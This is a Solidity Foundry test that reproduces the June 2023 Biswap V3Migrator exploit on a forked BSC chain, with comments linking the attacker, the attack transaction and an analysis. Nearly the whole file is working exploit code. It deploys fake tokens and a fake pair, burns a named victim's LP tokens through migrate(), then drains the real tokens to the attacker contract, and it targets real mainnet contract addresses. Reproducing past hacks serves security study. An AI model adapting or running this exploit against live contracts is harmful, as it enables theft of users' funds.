src/test/2023-06/Biswap_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~72K
8// Attacker - https://bscscan.com/address/0xa1e31b29f94296fc85fac8739511360f279b1976
9// Attack contract - https://bscscan.com/address/0x1d448e9661c5abfc732ea81330c6439b0aa449b5
10// Attack Tx : https://bscscan.com/tx/0xebe5248820241d8de80bcf66f4f1bfaaca62962824efaaa662db84bd27f5e47e, https://bscscan.com/address/0xa1e31b29f94296fc85fac8739511360f279b1976
11 
12// @Analysis - https://twitter.com/MetaTrustAlert/status/1674814217122349056?s=20
13 
14interface V3Migrator {
15    struct MigrateParams {
16        address pair; // the Uniswap v2-compatible pair
17        uint256 liquidityToMigrate; // expected to be balanceOf(msg.sender)
18        address token0;
19        address token1;
20        uint16 fee;
21        int24 tickLower;
22        int24 tickUpper;
23        uint128 amount0Min; // must be discounted by percentageToMigrate
24        uint128 amount1Min; // must be discounted by percentageToMigrate
25        address recipient;
26        uint256 deadline;
27        bool refundAsETH;
28    }
29 
30    function migrate(
31        MigrateParams calldata params
32    ) external returns (uint256 refund0, uint256 refund1);
33}
34 
35interface IBiswapFactoryV3 {
36    function newPool(address tokenX, address tokenY, uint16 fee, int24 currentPoint) external returns (address);
37}
38 
39contract SimpleERC20 {
40    mapping(address => uint256) private _balances;
41 
42    mapping(address => mapping(address => uint256)) private _allowances;
43 
44    uint256 private _totalSupply;
45 
46    string private _name;
47    string private _symbol;
48 
49    constructor(string memory name_, string memory symbol_) {
50        _name = name_;
51        _symbol = symbol_;
52    }
53 
54    function balanceOf(
55        address account
56    ) public view virtual returns (uint256) {
57        return _balances[account];
58    }
59 
60    function transfer(address to, uint256 amount) public virtual returns (bool) {
61        address owner = msg.sender;
62        _transfer(owner, to, amount);
63        return true;
64    }
65 
66    function allowance(address owner, address spender) public view virtual returns (uint256) {
67        return _allowances[owner][spender];
68    }
69 
70    function approve(address spender, uint256 amount) public virtual returns (bool) {
71        address owner = msg.sender;
72        _approve(owner, spender, amount);
73        return true;
74    }
75 
76    function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
77        address spender = msg.sender;
78        _spendAllowance(from, spender, amount);
79        _transfer(from, to, amount);
80        return true;
81    }
82 
83    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
84        address owner = msg.sender;
85        _approve(owner, spender, allowance(owner, spender) + addedValue);
86        return true;
87    }
88 
89    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
90        address owner = msg.sender;
91        uint256 currentAllowance = allowance(owner, spender);
92        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
93        unchecked {
94            _approve(owner, spender, currentAllowance - subtractedValue);
95        }
96 
97        return true;
98    }
99 
100    function _transfer(address from, address to, uint256 amount) internal virtual {
101        require(from != address(0), "ERC20: transfer from the zero address");
102        require(to != address(0), "ERC20: transfer to the zero address");
103 
104        uint256 fromBalance = _balances[from];
105        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
106        unchecked {
107            _balances[from] = fromBalance - amount;
108            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
109            // decrementing then incrementing.
110            _balances[to] += amount;
111        }
112    }
113 
114    function _mint(address account, uint256 amount) internal virtual {
115        require(account != address(0), "ERC20: mint to the zero address");
116        _totalSupply += amount;
117        unchecked {
118            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
119            _balances[account] += amount;
120        }
121    }
122 
123    function _approve(address owner, address spender, uint256 amount) internal virtual {
124        require(owner != address(0), "ERC20: approve from the zero address");
125        require(spender != address(0), "ERC20: approve to the zero address");
126 
127        _allowances[owner][spender] = amount;
128    }
129 
130    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
131        uint256 currentAllowance = allowance(owner, spender);
132        if (currentAllowance != type(uint256).max) {
133            require(currentAllowance >= amount, "ERC20: insufficient allowance");
134            unchecked {
135                _approve(owner, spender, currentAllowance - amount);
136            }
137        }
138    }
139}
140 
141contract FakeToken is SimpleERC20 {
142    uint256 token0Amount;
143    uint256 token1Amount;
144 
145    constructor() SimpleERC20("fake", "fake") {
146        _mint(msg.sender, 10_000e18 * 1e18);
147    }
148}
149 
150contract FakePair is SimpleERC20 {
151    uint256 token0Amount;
152    uint256 token1Amount;
153 
154    constructor() SimpleERC20("fakePair", "fakePair") {
155        _mint(msg.sender, 10_000e18 * 1e18);
156    }
157 
158    function update(uint256 t0, uint256 t1) external {
159        token0Amount = t0;
160        token1Amount = t1;
161    }
162 
163    function burn(
164        address to
165    ) external returns (uint256, uint256) {
166        return (token0Amount, token1Amount);
167    }
168}
169 
170contract ContractTest is Test {
171    function setUp() public {
172        // fork bsc
173        uint256 forkId = vm.createFork("bsc", 29_554_461);
174        vm.selectFork(forkId);
175    }
176 
177    function testExploit() public {
178        V3Migrator migrator = V3Migrator(0x839b0AFD0a0528ea184448E890cbaAFFD99C1dbf);
179        IUniswapV2Pair pairToMigrate = IUniswapV2Pair(0x63b30de1A998e9E64FD58A21F68D323B9BcD8F85);
180        address victimAddress = 0x2978D920a1655abAA315BAd5Baf48A2d89792618;
181 
182        IBiswapFactoryV3 biswapV3 = IBiswapFactoryV3(0x7C3d53606f9c03e7f54abdDFFc3868E1C5466863);
183        //0. Preparations: create pool for fake tokens and transfer fake tokens to the migrator
184        FakeToken fakeToken0 = new FakeToken();
185        FakeToken fakeToken1 = new FakeToken();
186        FakePair fakePair = new FakePair();
187        biswapV3.newPool(address(fakeToken1), address(fakeToken0), 150, 1);
188        fakeToken0.transfer(address(migrator), 1e9 * 1e18);
189        fakeToken1.transfer(address(migrator), 1e9 * 1e18);
190 
191        uint256 liquidityValue = pairToMigrate.balanceOf(victimAddress);
192        emit log_named_uint("liquidity to migrate", liquidityValue);
193        IERC20 token0 = IERC20(pairToMigrate.token0());
194        IERC20 token1 = IERC20(pairToMigrate.token1());
195        assert(token0.balanceOf(address(this)) == 0);
196 
197        //1. Burn victim's LP token and add liquidity with fake tokens
198        V3Migrator.MigrateParams memory params = V3Migrator.MigrateParams(
199            address(pairToMigrate),
200            liquidityValue,
201            address(fakeToken1),
202            address(fakeToken0),
203            150,
204            10_000,
205            20_000,
206            0,
207            0,
208            victimAddress,
209            block.timestamp + 1 minutes,
210            false
211        );
212        migrator.migrate(params);
213 
214        uint256 token0Balance = token0.balanceOf(address(migrator));
215        uint256 token1Balance = token1.balanceOf(address(migrator));
216        fakePair.update(token0Balance, token1Balance);
217        emit log_named_decimal_uint("this token0 before", token0.balanceOf(address(this)), 18);
218        emit log_named_decimal_uint("this token1 before", token1.balanceOf(address(this)), 18);
219 
220        //2. Steal tokens
221        fakePair.transfer(address(this), 1e9 * 1e18);
222        fakePair.approve(address(migrator), 1e9 * 1e18);
223        V3Migrator.MigrateParams memory params2 = V3Migrator.MigrateParams(
224            address(fakePair),
225            liquidityValue,
226            address(token0),
227            address(token1),
228            800,
229            10_000,
230            20_000,
231            0,
232            0,
233            address(this),
234            block.timestamp + 1 minutes,
235            false
236        );
237        migrator.migrate(params2);
238 
239        assert(token0.balanceOf(address(this)) > 1e18);
240        emit log_named_decimal_uint("this token0 after", token0.balanceOf(address(this)), 18);
241        emit log_named_decimal_uint("this token1 after", token1.balanceOf(address(this)), 18);
242    }
243}